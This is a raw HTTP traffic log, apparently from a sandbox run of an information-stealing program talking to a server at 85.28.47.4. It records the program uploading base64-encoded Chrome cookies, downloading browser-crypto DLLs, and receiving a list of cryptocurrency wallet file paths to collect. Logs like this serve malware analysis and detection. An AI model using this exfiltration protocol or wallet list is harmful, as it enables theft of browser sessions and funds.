Jun 27, 2024 19:25:55.538178921 CEST	948	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIIIIJKFCAAECAKFIEHC Host: 85.28.47.4 Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 49 49 49 4a 4b 46 43 41 41 45 43 41 4b 46 49 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 35 64 66 39 66 62 63 37 38 38 65 38 39 37 61 62 30 37 33 61 63 62 35 33 30 31 61 39 38 33 66 35 36 30 37 64 38 64 63 65 36 66 34 30 66 63 64 39 36 34 36 39 63 61 32 63 62 37 35 64 63 61 30 66 65 35 36 32 32 62 31 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 49 49 4a 4b 46 43 41 41 45 43 41 4b 46 49 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 49 49 4a 4b 46 43 41 41 45 43 41 4b 46 49 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------FIIIIJKFCAAECAKFIEHCContent-Disposition: form-data; name="token"05df9fbc788e897ab073acb5301a983f5607d8dce6f40fcd96469ca2cb75dca0fe5622b1------FIIIIJKFCAAECAKFIEHCContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------FIIIIJKFCAAECAKFIEHCContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwMTE2MTUJMVBfSkFSCTIwMjMtMTAtMDQtMTMKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjMwODE1CU5JRAk1MTE9RWY1dlBGR3ctTVpZbzVod2UtMFRoQVZzbGJ4Ym12ZFZad2NIbnFWeldIQVUxNHY1M01OMVZ2d3ZRcThiYVlmZzItSUF0cVpCVjVOT0w1cnZqMk5XSXFyejM3N1VoTGRIdE9nRS10SmFCbFVCWUpFaHVHc1FkcW5pM29USmcwYnJxdjFkamRpTEp5dlRTVWhkSy1jNUpXYWRDU3NVTFBMemhTeC1GLTZ3T2c0Cg==------FIIIIJKFCAAECAKFIEHC--
Jun 27, 2024 19:25:56.253196001 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 27 Jun 2024 17:25:55 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=94 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jun 27, 2024 19:25:56.335277081 CEST	556	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBKFHJEBAAEBGDGDBFBG Host: 85.28.47.4 Content-Length: 359 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 4b 46 48 4a 45 42 41 41 45 42 47 44 47 44 42 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 35 64 66 39 66 62 63 37 38 38 65 38 39 37 61 62 30 37 33 61 63 62 35 33 30 31 61 39 38 33 66 35 36 30 37 64 38 64 63 65 36 66 34 30 66 63 64 39 36 34 36 39 63 61 32 63 62 37 35 64 63 61 30 66 65 35 36 32 32 62 31 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 46 48 4a 45 42 41 41 45 42 47 44 47 44 42 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 46 48 4a 45 42 41 41 45 42 47 44 47 44 42 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b [TRUNCATED] Data Ascii: ------DBKFHJEBAAEBGDGDBFBGContent-Disposition: form-data; name="token"05df9fbc788e897ab073acb5301a983f5607d8dce6f40fcd96469ca2cb75dca0fe5622b1------DBKFHJEBAAEBGDGDBFBGContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------DBKFHJEBAAEBGDGDBFBGContent-Disposition: form-data; name="file"------DBKFHJEBAAEBGDGDBFBG--
Jun 27, 2024 19:25:57.048557043 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 27 Jun 2024 17:25:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jun 27, 2024 19:25:57.651259899 CEST	556	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEGHJDGIJECGDHJJECGH Host: 85.28.47.4 Content-Length: 359 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 47 48 4a 44 47 49 4a 45 43 47 44 48 4a 4a 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 35 64 66 39 66 62 63 37 38 38 65 38 39 37 61 62 30 37 33 61 63 62 35 33 30 31 61 39 38 33 66 35 36 30 37 64 38 64 63 65 36 66 34 30 66 63 64 39 36 34 36 39 63 61 32 63 62 37 35 64 63 61 30 66 65 35 36 32 32 62 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 4a 44 47 49 4a 45 43 47 44 48 4a 4a 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 4a 44 47 49 4a 45 43 47 44 48 4a 4a 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 [TRUNCATED] Data Ascii: ------JEGHJDGIJECGDHJJECGHContent-Disposition: form-data; name="token"05df9fbc788e897ab073acb5301a983f5607d8dce6f40fcd96469ca2cb75dca0fe5622b1------JEGHJDGIJECGDHJJECGHContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------JEGHJDGIJECGDHJJECGHContent-Disposition: form-data; name="file"------JEGHJDGIJECGDHJJECGH--
Jun 27, 2024 19:25:58.360183954 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 27 Jun 2024 17:25:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jun 27, 2024 19:25:58.680300951 CEST	89	OUT	GET /69934896f997d5bb/freebl3.dll HTTP/1.1 Host: 85.28.47.4 Cache-Control: no-cache
Jun 27, 2024 19:25:58.856827974 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 27 Jun 2024 17:25:58 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "a7550-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Jun 27, 2024 19:25:59.509951115 CEST	89	OUT	GET /69934896f997d5bb/mozglue.dll HTTP/1.1 Host: 85.28.47.4 Cache-Control: no-cache
Jun 27, 2024 19:25:59.689512014 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 27 Jun 2024 17:25:59 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "94750-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Jun 27, 2024 19:26:00.141741037 CEST	90	OUT	GET /69934896f997d5bb/msvcp140.dll HTTP/1.1 Host: 85.28.47.4 Cache-Control: no-cache
Jun 27, 2024 19:26:00.317738056 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 27 Jun 2024 17:26:00 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "6dde8-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Jun 27, 2024 19:26:00.626740932 CEST	86	OUT	GET /69934896f997d5bb/nss3.dll HTTP/1.1 Host: 85.28.47.4 Cache-Control: no-cache
Jun 27, 2024 19:26:00.802854061 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 27 Jun 2024 17:26:00 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "1f3950-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Jun 27, 2024 19:26:02.213753939 CEST	90	OUT	GET /69934896f997d5bb/softokn3.dll HTTP/1.1 Host: 85.28.47.4 Cache-Control: no-cache
Jun 27, 2024 19:26:02.389698982 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 27 Jun 2024 17:26:02 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "3ef50-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Jun 27, 2024 19:26:02.511428118 CEST	94	OUT	GET /69934896f997d5bb/vcruntime140.dll HTTP/1.1 Host: 85.28.47.4 Cache-Control: no-cache
Jun 27, 2024 19:26:02.724858999 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 27 Jun 2024 17:26:02 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "13bf0-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Jun 27, 2024 19:26:03.129177094 CEST	198	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKJDGCGDAAAKECAKKJDA Host: 85.28.47.4 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Jun 27, 2024 19:26:03.971251011 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 27 Jun 2024 17:26:03 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=85 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jun 27, 2024 19:26:04.007683039 CEST	464	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAFIEGIECGCBKFIEBGCA Host: 85.28.47.4 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 35 64 66 39 66 62 63 37 38 38 65 38 39 37 61 62 30 37 33 61 63 62 35 33 30 31 61 39 38 33 66 35 36 30 37 64 38 64 63 65 36 66 34 30 66 63 64 39 36 34 36 39 63 61 32 63 62 37 35 64 63 61 30 66 65 35 36 32 32 62 31 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 2d 2d 0d 0a Data Ascii: ------BAFIEGIECGCBKFIEBGCAContent-Disposition: form-data; name="token"05df9fbc788e897ab073acb5301a983f5607d8dce6f40fcd96469ca2cb75dca0fe5622b1------BAFIEGIECGCBKFIEBGCAContent-Disposition: form-data; name="message"wallets------BAFIEGIECGCBKFIEBGCA--
Jun 27, 2024 19:26:04.187592030 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 27 Jun 2024 17:26:04 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=84 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Jun 27, 2024 19:26:04.189696074 CEST	462	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHDHJJJECFIECBGDGCAA Host: 85.28.47.4 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 44 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 35 64 66 39 66 62 63 37 38 38 65 38 39 37 61 62 30 37 33 61 63 62 35 33 30 31 61 39 38 33 66 35 36 30 37 64 38 64 63 65 36 66 34 30 66 63 64 39 36 34 36 39 63 61 32 63 62 37 35 64 63 61 30 66 65 35 36 32 32 62 31 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 2d 2d 0d 0a Data Ascii: ------DHDHJJJECFIECBGDGCAAContent-Disposition: form-data; name="token"05df9fbc788e897ab073acb5301a983f5607d8dce6f40fcd96469ca2cb75dca0fe5622b1------DHDHJJJECFIECBGDGCAAContent-Disposition: form-data; name="message"files------DHDHJJJECFIECBGDGCAA--
